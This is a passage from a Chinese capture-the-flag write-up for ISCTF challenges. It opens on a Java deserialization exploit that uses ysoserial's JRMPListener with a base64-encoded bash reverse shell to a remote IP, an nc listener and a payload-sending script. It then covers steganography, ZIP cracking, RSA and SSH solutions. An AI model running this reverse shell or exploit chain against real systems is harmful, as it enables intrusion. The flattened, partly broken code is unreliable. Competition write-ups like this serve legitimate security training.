Class<?> c = target.getClass();
Field f = null;
while (c != null) {
try {
f = c.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
if (f == null) {
throw new NoSuchFieldException(fieldName);
}
f.setAccessible(true);
f.set(target, value);
}
private static Object allocateWithoutConstructor(Class<?> clazz) throws Exception {
Field f = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) f.get(null);
return unsafe.allocateInstance(clazz);
}
}
将ExploitGenerator.java上传至vps,java8进行编译ExploitGenerator.class
javac -cp n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar ExploitGenerator.java
将生成的payload写入payload.b64
java -cp .:n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar ExploitGenerator > payload.b64
避免引号解析问题:
wget -q https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
一个vps终端进行监听
nc -lvvp 8001

另开一个vps终端进行启动 JRMPListener
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 27001 CommonsCollections6 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzguMjI3LjIzNS84MDAxIDA+JjE=}|{base64,-d}|{bash,-i}'

本机发送脚本
#!/usr/bin/env python3
import argparse
import base64
import requests
DEFAULT_PATH = "/api/echo"
parser = argparse.ArgumentParser()
parser.add_argument("--host", default="challenge.imxbt.cn", help="target host (default: challenge.bluesharkinfo.com)")
parser.add_argument("--port", type=int, default=30981, help="target port (default: 24018)")
parser.add_argument("--file", default="payload_hib.bin", help="payload file to send (default payload_hib.bin)")
parser.add_argument("--insecure", action="store_true", help="do not verify TLS (if using https)")
args = parser.parse_args()
url = f"http://{args.host}:{args.port}{DEFAULT_PATH}"
print(f"Target URL: {url}")
with open(args.file, "rb") as f:
data = f.read()
b64 = base64.b64encode(data).decode()
headers = {
"echo": b64,
"Pass": "n1giU",
}
print(f"Sending payload file {args.file} ({len(data)} bytes) in header 'echo' with Pass: n1giU")
resp = requests.post(url, headers=headers, timeout=10, verify=not args.insecure)
print(f"HTTP {resp.status_code} - {resp.reason}")
print("Response body:\n", resp.text)


misc
湖心亭看雪
Title
出题人:f1@g
院校:信阳师范大学
难度:简单
题目描述:
张岱在“雪”景中有感而发
Idea
下载附件有一个test.py和一个jpg图片
a = b'*********' #这个东西你以后要用到
b = b'blueshark' c = bytes([x ^ y for x, y in zip(a, b)])
print(c.hex())
#c = 53591611155a51405e
注释中说这个a的值以后会用到,我们先把他解出来
test.py就是 一段异或xor,利用 a = c ^ b 可还原出 a:
b = b'blueshark'
c = bytes.fromhex('53591611155a51405e')
print(bytes([x ^ y for x, y in zip(c, b)]))
#b'15ctf2025'
解出15ctf2025
010Editor分析发现jpg中有flag.txt文件

但通过Binwalk和foremost提取都没有提取处flag.txt,看图片中PK,那应该就是有压缩包,压缩包头的16进制50 4B 03 04,ctrl+F搜索没找到

往前翻,发现一处地方好像被修改过

将50 03 FF D9改为50 4B 03 04,再通过Binwalk分离可得到一个加密的压缩包

前面我们解出了一个值15ctf2025就是压缩包的密码
打开flag.txt,并没有flag,但我们看见看见很多空的字符

题目和题目描述都有雪,暗示snow雪花隐写,密钥依旧是15ctf2025

Guess!
Title
出题人:墨斐斐
院校:河南师范大学
难度:简单
题目描述:
这是一个经典的猜数字,开始你的数字解密之旅吧!
Idea
打开附件是一个exe程序,运行一下,一个猜数字的小游戏

用二分查找法

ISCTF{9ueSs_thE_@n$weR}
阿利维亚的传说
Title
出题人:墨斐斐
院校:河南师范大学
难度:简单
题目描述:
你知道阿利维亚的传说吗
Idea
附件是一个docx文件和一个png图片
打开docx,flag有三段

查看字体发现有隐藏字体

发现谕言1:
谕言1:
V=Dortt
A=otuTa
N=NTsin

对png图片进行Stegsolve进行LSB隐写分析,发现有可疑字符串

6LCV6KiAMjoKVz1Ib2VpaApIPW91VGdvCmw9cE1oaGkKTD1lYWV0YwpFPVlrckNl
base64解密得到谕言2:
谕言2:
W=Hoeih
H=ouTgo
l=pMhhi
L=eaetc
E=YkrCe
对png图片进行分析,发现有一个flag3.txt

Binwalk进行文件分离,得到一个加密的压缩包文件
进行密码爆破,得到压缩包密码:8652

打开flag3.txt得到谕言3:
谕言3:
T=FMfr
R=iytY
U=nGFo
E=diou
根据三份谕言:
谕言1:
V=Dortt
A=otuTa
N=NTsin
谕言2:
W=Hoeih
H=ouTgo
l=pMhhi
L=eaetc
E=YkrCe
谕言3:
T=FMfr
R=iytY
U=nGFo
E=diou
竖着拼写发现可组成有意义的英文单词:
VAN WHlLE TRUE
等号右边也使用同样的方法,即:
DoNotTrustTitan HopeYouMakeTherightChoice FindMyGiftForYou
ISCTF{DoNotTrustTitan_HopeYouMakeTherightChoice_FindMyGiftForYou}
小蓝鲨的神秘文件
Title
出题人:小蓝鲨本鲨
院校:无
难度:简单
题目描述:
小蓝鲨最近在和它的朋友聊一些小秘密,你能找出他们在聊什么吗?
Idea
附件是一个ChsPinyinUDL.dat文件
010Editor进行分析,编码改为unicode,小端序

弗莱格(flag)、官网的新闻、福州蓝鲨信息技术有限公司、新闻动态
前往福州蓝鲨信息技术有限公司的官网,新闻动态

发现flag

ISCTF{我要和小蓝鲨组一辈子CTF战队}
美丽的风景照
Title
出题人:玫幽倩
院校:上海公安学院
难度:简单
题目描述:做题做累了吧,来看看风景吧!
HINT1:按照彩虹颜色排序试试看
HINT2:这照片里的古建筑上怎么写个明光大正”“那是正大光明,古风都是倒着来的
Idea
附件是一个gif文件,先进行分帧,得到七张图片

我们能发现每一张图片的主色调都不一样,红、蓝、黄、绿、橙、紫、青(青花瓷)
每张图片中,我们你发现一段编码
对应图片顺序0-6
jqW2
ZXw8T
7HLo8
6yRWh
Dg2C
98Mz
3CaEk
6.png中有一个二维码,扫描后,是一个假的flag

根据hint2,这照片里的古建筑上怎么写个明光大正”“那是正大光明,古风都是倒着来的,将有古风元素的图片中的编码进行倒叙
对应图片顺序0-6
2Wqj 反
ZXw8T 正
7HLo8 正
6yRWh 正
C2gD 反
98Mz 正
kEaC3 反
根据hint1,彩虹颜色排序(红、橙、黄、绿、青、蓝、紫,0-4-2-3-6-1-5)
98Mz
C2gD
7HLo8
6yRWh
kEaC3
ZXw8T
98Mz
2WqjC2gD7HLo86yRWhKEaC3ZXw8T98Mz
base58解密得到flag

ISCTF{H0w_834u71fu1!!!}
星髓宝盒
Title
出题人:来杯冰美式!
院校:周口职业技术学院
难度:简单
题目描述:
"什么什么什么,,,你竟然不知道什么是星髓宝盒!!!
星髓宝盒里的flag是只能留给优秀学生的奖励,优秀学生自会知道它的咒语!!!"
Idea
打开附件是一张png图片
Binwalk分离得到一个压缩包

放flag的压缩包需要输入密码

打开txt文件,有大量的文本

通过文本隐水印解密

得到密文,放入txt文件中,发现显示的列数和文本的列数明显不相符

通过vscode打开文本,确定存在零宽字符隐写


零宽字符解密得到一个32位的字符
对字符进行16进制转字符串,发现无果,刚刚压缩包中还有一张jpg图片,现在对其进行分析

用010Editor打开,我们能发现一个网址,http://www.somd5.com
打开这个网址,是一个md5查找的在线网站

刚刚解出来的是一个32位的字符串,刚好符号32位md5值的特征,输入到这个网址中进行解密

解密出来得到
!!!@@@###123
将这个字符串作为加密压缩包的密码,打开flag.txt得到flag

ISCTF{1e7553787953e74113be4edfe8ca0e59}
木林森
Title
出题人:来杯冰美式!
院校:周口职业技术学院
难度:简单
题目描述:
"聪明的你,截获了来自木林森这个间谍组织发送的加密通信内容,请特别注意他们的神秘标记!!!!
其中还有被破坏没有拦截成功的密文,你凭借记忆依稀只记得:""Ron's Code For...?"",请解开通信内容,获取flag"
Idea
打开附件,看到一大串疑似base64字符的编码

base64转图片1.png,得到一张二维码

扫描二维码得到:
20000824

将二维码进行foremost分离出来一张png图片和一张jpg图片
png图片就是这个二维码:

jpg图片的内容是社会主义价值观:

社会主义价值观解密得到:
....Mamba....
在附件的原始base编码中的末尾,我们发现有一个由@进行分隔出来的字符串

MzFFRTlBQjJERjEwNEVFNjk1ODI0NTc5MTQwQURGMzk0NzJCRUIzMzE2Q0YxMTlBNjFBMkNDNDYwNTIzQjA2MThDNzk0QTkzNEFGRjNCOTBGNEUwMzY=
进行base64解密得到一段密文
31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B90F4E036
再注意看题目描述中提到的Ron's Code For...?,网上搜一下也可以知道,这是提示RC4解密
也就是说
31EE9AB2DF104EE695824579140ADF39472BEB3316CF119A61A2CC460523B0618C794A934AFF3B90F4E036
密文
20000824和....Mamba....进行组合成2000Mamba0824
密钥
RC4解密得到flag

ISCTF{590CF439-E304-4E27-BE45-49CC7B02B3F3}
冲刺!偷摸零!
Title
出题人:KanaDE
院校:平顶山学院
难度:简单
题目描述:
小蓝鲨的实训作业......但似乎漏洞百出?(Flag有两段)
hint:jar包里的东西也要看一眼
Idea
附件是一个jar包
使用jadx对jar进行分析,发现有一个ctf.db。将其提取出来打开
发现PART1:ISCTF{Tom0R1_Dash

在com.qf.run 包下的GameOverView 类中发现有一段解码数据

encrypted = [5, 20, 7, 1, 103, 111, 10, 18, 32, 18, 32, 10, 18, 20, 18, 20, 116, 116, 40]
bytes = [byte ^ 85 for byte in encrypted]
text = ''.join(chr(b) for b in bytes)
print(text)
#PART2:_GuGu_GAGA!!}
ISCTF{Tom0R1_Dash_GuGu_GAGA!!}
消失的flag
Title
出题人:秋雨样
院校:江西财经大学
难度:简单
题目描述:
"咦?我flag呢,我不是输出了么?
用户名:qyy
无密码"
Idea
ssh 连接一下靶机
ssh -p 20525 qyy@challenge.bluesharkinfo.com

连接上来就立马关闭了
使用OpenSSH 客户端带 -vvv 调试连接观察认证过程:





从调试输出可以看到服务器接受 none 认证并建立了会话
这显然是一道ssh认证题目
- 用程序快速自动化建立 SSH 连接并尝试
auth_none,然后如果可以成功打开 session 就立即读取 session 输出缓冲区。因为很多服务只在连接时短暂输出内容(welcome/banner、临时凭证、flag)。
exp
#!/usr/bin/env python3
import socket
import time
import re
import paramiko
HOST = 'challenge.imxbt.cn'
PORT = 31548
USER = 'qyy'
TRIES = 20
DELAY = 0.5
FLAG_RE = re.compile(r"FLAG\{.*?\}|flag\{.*?\}|\b[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\b", re.I)
def try_capture_once(timeout=6, recv_timeout=2.0):
try:
with socket.create_connection((HOST, PORT), timeout=timeout) as sock:
t = paramiko.Transport(sock)
t.start_client(timeout=timeout)
try:
t.auth_none(USER)
except Exception:
pass
captured = ''
try:
chan = t.open_session(timeout=timeout)
chan.get_pty()
chan.invoke_shell()
chan.settimeout(recv_timeout)
while True:
try:
data = chan.recv(4096)
if not data:
break
captured += data.decode('utf-8', errors='replace')
except socket.timeout:
break
except Exception:
pass
finally:
try:
chan.close()
except Exception:
pass
try:
t.close()
except Exception:
pass
return captured
except Exception as e:
return f'connection error: {e}'
def main():
for i in range(1, TRIES + 1):
captured = try_capture_once()
size = len(captured) if isinstance(captured, str) else 0
print(f'Attempt {i}: {size} bytes')
if captured:
print(captured)
m = FLAG_RE.search(captured or '')
if m:
print('\nFLAG:', m.group(0))
return
time.sleep(DELAY)
print('\nNo flag after', TRIES, 'attempts')
if __name__ == '__main__':
main()

Miscrypto
Title
出题人:玫幽倩
院校:上海公安学院
难度:简单
题目描述:
这是misc题对吧?。。。对吧?
Idea
附件:

费马.py
#这是一道费马,对
from Crypto.Util.number import *
flag = b'ISCTF{}'
n = p*q
phi = (p-1)*(q-1)
m = bytes_to_long(flag)
c = pow(m, e, n)
e = 65537
#n=
#c=
#?但都不给要我怎么做啊!
我们不知道n和c的值,明显是从另外两个附件来找

BrainFuck解密得到n

将c.png放入010Editor进行分析,文件末尾发现:
CDABGHEFKLIJOPMNSTQRWXUVabYZefcdijghmnklqropuvstyzwx23016745+/89
像是base64换表
对c.png进行foremost,分离出两张不一样的图片,找到c.png中两张图片的连接处
发现一段字符串

用前面文件末尾找到的替换表进行换表base64解码,转16进制操作

现在我们找到了n和c
from Crypto.Util.number import *
flag = b'ISCTF{}'
n = p*q
phi = (p-1)*(q-1)
m = bytes_to_long(flag)
c = pow(m, e, n)
e = 65537
#n= 7644027341241571414254539033581025821232019860861753472899980529695625198016019462879314488666454640621660011189097660092595699889727595925351737140047609
#c= 7551149944252504900886507115675974911138392174398403084481505554211619110839551091782778656892126244444160100583088287091700792873342921044046712035923917
通过费马分解,很快能将n分解,求得q和p
然后就是简单的RSA
exp
import gmpy2
from Crypto.Util.number import long_to_bytes
n = 7644027341241571414254539033581025821232019860861753472899980529695625198016019462879314488666454640621660011189097660092595699889727595925351737140047609
c = 7551149944252504900886507115675974911138392174398403084481505554211619110839551091782778656892126244444160100583088287091700792873342921044046712035923917
e = 65537
def fermat_factor(n):
a = gmpy2.isqrt(n)
while True:
b2 = a * a - n
if gmpy2.is_square(b2):
b = gmpy2.isqrt(b2)
return a + b, a - b
a += 1
p, q = fermat_factor(n)
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
#b'ISCTF{M15c_10v3_Cryp70}'
ISCTF{M15c_10v3_Cryp70}
怎么这也能掉链子
Title
出题人:n1tro
院校:山东政法学院
难度:简单
题目描述:
老师布置了个修复fat32文件系统磁盘的作业,给了磁盘恢复工具的同时又给了静谧之眼,优秀的小蓝鲨能发现被破坏的地方以及藏在里面的信息吗?
Idea
附件是一个vmdk文件,用7z打开能发现一张图片

但是解压时,会出现数据错误的报错
打开火眼取证分析

资源管理器中可直接预览到完整的图片(这里也可以使用foremost或手工提取图片)

在$FAT2中,我们能发现一段字符串
oh you find it:EWNVT{R@X32_nanx5d5pix}
明显EWNVT{R@X32_nanx5d5pix}就是密文

题目中提到的根据有静谧之眼,也就是SilentEye工具,我们打开图片,尝试解密,得到密钥welcomeisctf


维吉尼亚解密得到

ISCTF{F@T32_file5y5tem}
The truth of the pixel
Title
出题人:Alexander
院校:江西警察学院
难度:简单
题目描述:
I know you understand the pixel is very powerful, or let's have a showdown?
Idea
这题比赛的时候没做出来,misc不是很精,也算是学到新东西了
附件是一个加密的压缩包,爆破一下

得到解压密码:123456

一张png图片

题目和题目描述都提到了像素,也就是LSB了
stegsolve发现0通道存在隐写数据

lsb的aes加密,clockedpixel隐写
livz/cloacked-pixel:最低限度隐写与检测
但我们不知道密码,进行爆破
crypt.py:
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
'''
Updated for Python 3
Original concept: http://stackoverflow.com/questions/12524994/encrypt-decrypt-using-pycrypto-aes-256
'''
class AESCipher:
def __init__(self, key):
self.bs = 32
self.key = hashlib.sha256(key.encode()).digest()
def encrypt(self, raw):
"""
raw: 传入的必须是 bytes 类型数据
""" if isinstance(raw, str):
raw = raw.encode()
raw = self._pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(raw)
def decrypt(self, enc):
"""
enc: 传入的是包含 IV 的 bytes """ iv = enc[:AES.block_size]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(enc[AES.block_size:])
return self._unpad(decrypted)
def _pad(self, s):
padding_len = self.bs - (len(s) % self.bs)
padding = bytes([padding_len]) * padding_len
return s + padding
@staticmethod
def _unpad(s):
padding_len = s[-1]
return s[:-padding_len]
lsb.py:
import sys
import struct
import numpy
import matplotlib.pyplot as plt
from PIL import Image
from crypt import AESCipher
def decompose(data):
v = []
fSize = len(data)
bytes_data = list(struct.pack("i", fSize))
bytes_data.extend(list(data))
for b in bytes_data:
for i in range(7, -1, -1):
v.append((b >> i) & 0x1)
return v
def assemble(v):
bytes_arr = bytearray()
length = len(v)
for idx in range(0, length // 8):
byte = 0
for i in range(0, 8):
if (idx * 8 + i < length):
byte = (byte << 1) + v[idx * 8 + i]
bytes_arr.append(byte)
payload_size = struct.unpack("i", bytes_arr[:4])[0]
return bytes(bytes_arr[4: payload_size + 4])
def set_bit(n, i, x):
mask = 1 << i
n &= ~mask
if x:
n |= mask
return n
def embed(imgFile, payload, password):
# Process source image
img = Image.open(imgFile)
(width, height) = img.size
conv = img.convert("RGBA").getdata()
print("[*] Input image size: %dx%d pixels." % (width, height))
max_size = width * height * 3.0 / 8 / 1024
print("[*] Usable payload size: %.2f KB." % (max_size))
f = open(payload, "rb")
data = f.read()
f.close()
print("[+] Payload size: %.3f KB " % (len(data) / 1024.0))
cipher = AESCipher(password)
data_enc = cipher.encrypt(data)
v = decompose(data_enc)
while (len(v) % 3):
v.append(0)
payload_size = len(v) / 8 / 1024.0
print("[+] Encrypted payload size: %.3f KB " % (payload_size))
if (payload_size > max_size - 4):
print("[-] Cannot embed. File too large")
sys.exit()
steg_img = Image.new('RGBA', (width, height))
idx = 0
for h in range(height):
for w in range(width):
(r, g, b, a) = conv.getpixel((w, h))
if idx < len(v):
r = set_bit(r, 0, v[idx])
g = set_bit(g, 0, v[idx + 1])
b = set_bit(b, 0, v[idx + 2])
steg_img.putpixel((w, h), (r, g, b, a))
idx = idx + 3
steg_img.save(imgFile + "-stego.png", "PNG")
print("[+] %s embedded successfully!" % payload)
def extract(in_file, out_file, password):
# Process source image
img = Image.open(in_file)
(width, height) = img.size
conv = img.convert("RGBA").getdata()
print("[+] Image size: %dx%d pixels." % (width, height))
# Extract LSBs
v = []
for h in range(height):
for w in range(width):
(r, g, b, a) = conv.getpixel((w, h))
v.append(r & 1)
v.append(g & 1)
v.append(b & 1)
data_out = assemble(v)
# Decrypt
cipher = AESCipher(password)
data_dec = cipher.decrypt(data_out)
# Write decrypted data
out_f = open(out_file, "wb")
out_f.write(data_dec)
out_f.close()
print("[+] Written extracted data to %s." % out_file)
def analyse(in_file):
'''
- Split the image into blocks. - Compute the average value of the LSBs for each block. - The plot of the averages should be around 0.5 for zones that contain hidden encrypted messages (random data). ''' BS = 100
img = Image.open(in_file)
(width, height) = img.size
print("[+] Image size: %dx%d pixels." % (width, height))
conv = img.convert("RGBA").getdata()
# Extract LSBs
vr = [] # Red LSBs
vg = [] # Green LSBs
vb = [] # LSBs
for h in range(height):
for w in range(width):
(r, g, b, a) = conv.getpixel((w, h))
vr.append(r & 1)
vg.append(g & 1)
vb.append(b & 1)
# Average colours' LSB per each block
avgR = []
avgG = []
avgB = []
for i in range(0, len(vr), BS):
avgR.append(numpy.mean(vr[i:i + BS]))
avgG.append(numpy.mean(vg[i:i + BS]))
avgB.append(numpy.mean(vb[i:i + BS]))
# Nice plot
numBlocks = len(avgR)
blocks = [i for i in range(0, numBlocks)]
plt.axis([0, len(avgR), 0, 1])
plt.ylabel('Average LSB per block')
plt.xlabel('Block number')
plt.plot(blocks, avgB, 'bo')
plt.show()
def usage(progName):
print("LSB steganogprahy. Hide files within least significant bits of images.\n")
print("Usage:")
print(" %s hide <img_file> <payload_file> <password>" % progName)
print(" %s extract <stego_file> <out_file> <password>" % progName)
print(" %s analyse <stego_file>" % progName)
sys.exit()
if __name__ == "__main__":
if len(sys.argv) < 3:
usage(sys.argv[0])
if sys.argv[1] == "hide":
embed(sys.argv[2], sys.argv[3], sys.argv[4])
elif sys.argv[1] == "extract":
extract(sys.argv[2], sys.argv[3], sys.argv[4])
elif sys.argv[1] == "analyse":
analyse(sys.argv[2])
else:
print("[-] Invalid operation specified")
clockedpixel.py:
import threading
from queue import Queue
from Crypto.Cipher import AES
from lsb import assemble
from PIL import Image
import hashlib
from Crypto import Random
from Crypto.Util.number import long_to_bytes
import sys
class AESCipher:
def __init__(self, key):
self.bs = 32 # Block size
if isinstance(key, str):
key = key.encode()
self.key = hashlib.sha256(key).digest() # 32 bit digest
def encrypt(self, raw):
raw = self.pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(raw)
def decrypt(self, enc):
iv = enc[:AES.block_size]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
message = cipher.decrypt(enc[AES.block_size:])
return self.unpad(message)
def pad(self, s):
padding = self.bs - len(s) % self.bs
return s + bytes([padding]) * padding
@staticmethod
def unpad(s):
try:
padding_len = s[-1]
if padding_len > 32 or padding_len == 0:
return s
return s[:-padding_len]
except:
return s
def aes_brute_force(key, ciphertext):
try:
cipher = AESCipher(key)
decrypted_bytes = cipher.decrypt(ciphertext)
try:
data_dec = decrypted_bytes.decode('utf-8')
except UnicodeDecodeError:
data_dec = decrypted_bytes.decode('utf-8', errors='ignore')
print(f"\n[!] 发现正确密钥: {key}")
print(f"[!] 明文内容: {data_dec}")
return True
return False except Exception as e:
return False
def worker(ciphertext, queue):
while not queue.empty():
try:
key = queue.get(timeout=1)
if aes_brute_force(key, ciphertext):
with queue.mutex:
queue.queue.clear()
break
queue.task_done()
except:
break
def main():
print("[*] 开始处理图片...")
try:
img = Image.open("challenge.png")
except FileNotFoundError:
print("[-] 未找到 challenge.png")
return
(width, height) = img.size
conv = img.convert("RGBA").getdata()
print("[+] Image size: %dx%d pixels." % (width, height))
v = []
print("[*] 提取 LSB 数据中...")
for h in range(height):
for w in range(width):
(r, g, b, a) = conv.getpixel((w, h))
v.append(r & 1)
v.append(g & 1)
v.append(b & 1)
try:
data_out = assemble(v)
print(f"[+] 提取出加密数据长度: {len(data_out)} bytes")
except Exception as e:
print(f"[-] LSB 数据组装失败: {e}")
return
dic_path = "./rockyou.txt"
print(f"[*] 加载字典: {dic_path}")
try:
keys = f.read().split("\n")
except FileNotFoundError:
print(f"[-] 未找到字典文件 {dic_path}")
return
ciphertext = data_out
queue_obj = Queue()
for key in keys:
if key:
queue_obj.put(key)
print("[*] 开始爆破...")
num_threads = 8
threads = []
for _ in range(num_threads):
thread = threading.Thread(target=worker, args=(ciphertext, queue_obj))
thread.daemon = True
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
print("[*] 任务结束")
if __name__ == "__main__":
main()

Abnormal log
Title
出题人:Alexander
院校:江西警察学院
难度:中等
题目描述:
一名hacker对小蓝鲨正在值守的服务器发起大量攻击,索性被工作人员及时拦截下来,得到一份日志信息,这份日志隐藏什么秘密.(请将得到的flag用ISCTF{}包裹)
Idea
打开附件,是一份日志文件
经过分析,每红框内的可以看成一组数据。

[2025-09-11 20:48:36] [INFO] Attacker uploading segment 1...
#“segment 1” 表示分第一个数据分片,编号为1
[2025-09-11 21:13:44] [DEBUG] Random data injected: AgtACjmKmUOcEBNRRfNd
#AgtACjmKmUOcEBNRRfNd是攻击者注入的一段随机数据用于混淆或填充数据包,绕过一些大小限制和特定解析检测
[2025-09-11 20:27:35] [INFO] File data segment: 327fb9aa22190501dfbff187e8080505050505055f05050505050505342d9d79
#上传的实际文件数据分片内容。采用的16进制
[2025-09-11 20:30:46] [ERROR] Upload failure, retrying...
#上传操作失败,并触发重试机制
[2025-09-11 20:54:16] [INFO] Uploaded data: ypJNwHwHVnqWHfzohX4s
#记录成功上传的一段数据
[2025-09-11 21:01:09] [DEBUG] Connection unstable, retrying upload...
#记录上传过程中网络连接不稳定,并触发重试
[2025-09-11 21:22:37] [INFO] Uploading...
#上传操作正在进行中
[2025-09-11 21:05:37] [WARNING] Unexpected system response, continuing...
#记录目标系统返回了非预期的响应,但攻击者未终止操作,选择继续上传

总共上传了116个片段,我们只需要将上传的内容片段拼接起来就可以了,也就是[INFO] File data segment: 后的数据
将拼接后的16进制数据放入010Editor中分析,分辨不出来是什么文件

数据肯定是被混淆了,我们截取第一个片段的数据进行分析
发现第一个片段的数据进行xor异或0x05时,检测处7zip头

对数据进行xor异或,得到一个7z压缩包
打开压缩包有一张放有flag的图片

ISCTF{sabfndhjkashgfyiasdgfyusdguyfbknncxzbnj}
小蓝鲨的千层FLAG
Title
出题人:G3rling
院校:重庆工商大学
难度:困难
题目描述:
"如果你愿一层一层一层地剥开我的 Zip 你会发现,你会流泪—— 埋在最深处 8+4 的真正奥秘……"
hint:可参考资料:https://www.freebuf.com/articles/network/255145.html
Idea
打开附件有一个加密的压缩包和一个readme.md
readme.md说的是一个压缩包解密的一个姿态,也就是ZIP已知明文攻击bkcrack

压缩包的密码在注释中,明显这是一个嵌套的压缩包

写一个脚本进行解压
import zipfile
import os
import re
import subprocess
import glob
current_zip = "flagggg999.zip"
extract_dir = "extract"
if not os.path.exists(extract_dir):
os.makedirs(extract_dir)
while True:
print(f"Processing: {current_zip}")
try:
try:
zf = zipfile.ZipFile(current_zip)
comment = zf.comment.decode('utf-8')
zf.close()
except Exception as e:
print(f"Error reading zip comment: {e}")
break
print(f"Comment: {comment}")
# Extract password
match = re.search(r"The password is ([a-fA-F0-9]+)", comment)
if match:
password = match.group(1)
print(f"Password found: {password}")
else:
print("No password found in comment. Stopping.")
break
cmd = ["7z", "x", current_zip, f"-p{password}", f"-o{extract_dir}", "-y"]
result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if result.returncode != 0:
print(f"7z extraction failed: {result.stderr.decode()}")
break
basename = os.path.basename(current_zip)
num_match = re.search(r"flagggg(\d+)\.zip", basename)
if num_match:
current_num = int(num_match.group(1))
next_num = current_num - 1
next_zip_name = f"flagggg{next_num}.zip"
next_zip_path = os.path.join(extract_dir, next_zip_name)
if os.path.exists(next_zip_path):
if extract_dir in current_zip:
os.remove(current_zip)
current_zip = next_zip_path
else:
print(f"Next zip file {next_zip_name} not found.")
files = os.listdir(extract_dir)
print(f"Files in {extract_dir}: {files}")
break
else:
print("Filename pattern mismatch.")
break
except Exception as e:
print(f"An error occurred: {e}")
break
解压到flagggg3.zip就暂停了

flagggg3.zip 的注释为:
The password is... wait, I forgot! But you must know what's inside, right?
根据前面压缩包的命名规律,我们知道flagggg3.zip 包含 flagggg2.zip,flagggg2.zip 应该包含 flagggg1.zip
zip文件的文件头是固定的,且文件名也是已知的。
我们可以利用 flagggg2.zip 内部包含的 flagggg1.zip 的文件头作为明文进行攻击
密文文件:flagggg3.zip
密文内部的文件:flagggg2.zip
明文内容: flagggg1.zip 的Local File Header的一部分
zip文件的Local File Header中,文件名通常从偏移量 30 开始,flagggg1.zip 的十六进制编码为 666c6167676767312e7a6970
使用 bkcrack 进行攻击:
./bkcrack -C flagggg3.zip -c flagggg2.zip -x 30 666c6167676767312e7a6970

成功获取内部密钥:
Keys: ae0c4b27 66c21cba b9a7958f
利用获取的密钥解密 flagggg2.zip:
./bkcrack -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -d flagggg2.zip

打开压缩包找到flagggg.txt

ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}
ez_disk
Title
出题人:n1tro
院校:山东政法学院
难度:中等
题目描述:xx警方在翻斗小区抓捕了嫌疑人,并扣押了电脑里一个奇怪的虚拟磁盘,里面藏了犯罪嫌疑人的奇妙资料,运用所学尝试破解吧。
hint:蓝鲨警局的阿sir说提取检材时末尾好像多了点东西
Idea
附件是一个vmdk文件,火眼挂载起来发现有3.97G未分配簇,然后看不见其他任何东西,可能东西被嫌疑人删除了]]

打开DiskGenius,挂载vmdk虚拟磁盘,发现一个RAR压缩包

将压缩包导出,发现需要密码,尝试爆破无果

在文件末尾发现一个jpg文件头

往上翻,发现一句话
all these bytes below must be useful
#以下的所有字节都有用

将以下的字节进行倒叙,保存为jpg图片

汉字使用utf-8编码查看更为明显

将这段汉字的内容单独提取出来

存在零宽隐写

解密得到密钥this_p@ssw0rd_tha7_9ou_caN_n0t _brut3_Forc3_hhhhhhhhhhhhhhaHaa_no0b
解压压缩包拿到flag

ISCTF{320303e2-5c6a-489a-bcd3-e96a69a3eefc}
Image_is_all_you_need
Title
出题人:ink
院校:福建林学院
难度:中等
题目描述:
你需要懂点AI和密码学
Idea
准备环境:
python3 -m pip install torch torchvision pypng reedsolo pillow numpy
一道基于神经网络的AI题目

对附件进行分析:
Steg文件夹是一个基于神经网络的隐写工具,以及权重文件misuha.taki。实现了一个可逆结构的隐写神经网络,main.py的encode(cover, text)把文本嵌入图片生成secret.png。模型的块是可逆设计(INV_block),可以推导出逆变换用于提取 payload。- 若干png图片是基于秘密共享分割出的若干 share。
share_secret.py用于把secret.png分成若干份 share 并把额外信息写入 PNG 的tEXtchunk。实现了一种对图像做分片的秘密共享(以像素为单位、域为 257),并把某些特殊像素位置(像素值 256)索引写入 PNG 的tEXtchunk。
share_secret.py:
import time
import numpy as np
import png
import os
import math
from PIL import Image
from Crypto.Util.number import *
def preprocessing(path):
img = Image.open(path)
data = np.asarray(img)
return data.flatten(), data.shape
def insert_text_chunk(src_png, dst_png, text):
reader = png.Reader(filename=src_png)
chunks = reader.chunks()
chunk_list = list(chunks)
chunk_item = tuple([b'tEXt', text])
index = 1
chunk_list.insert(index, chunk_item)
with open(dst_png, 'wb') as dst_file:
png.write_chunks(dst_file, chunk_list)
def read_text_chunk(src_png, index=1):
reader = png.Reader(filename=src_png)
chunks = reader.chunks()
chunk_list = list(chunks)
img_extra = chunk_list[index][1].decode()
img_extra = eval(img_extra)
return img_extra
def polynomial(img, n, r):
num_pixels = img.shape[0]
coefficients = np.random.randint(low=0, high=257, size=(num_pixels, r - 1))
secret_imgs = []
imgs_extra = []
for i in range(1, n + 1):
base = np.array([i ** j for j in range(1, r)])
base = np.matmul(coefficients, base)
secret_img = (img + base) % 257
indices = np.where(secret_img == 256)[0]
img_extra = indices.tolist()
secret_img[indices] = 0
secret_imgs.append(secret_img)
imgs_extra.append(img_extra)
return np.array(secret_imgs), imgs_extra
def format_size(size_bytes):
if size_bytes == 0:
return "0B"
size_names = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
i = int(math.floor(math.log(size_bytes, 1024)))
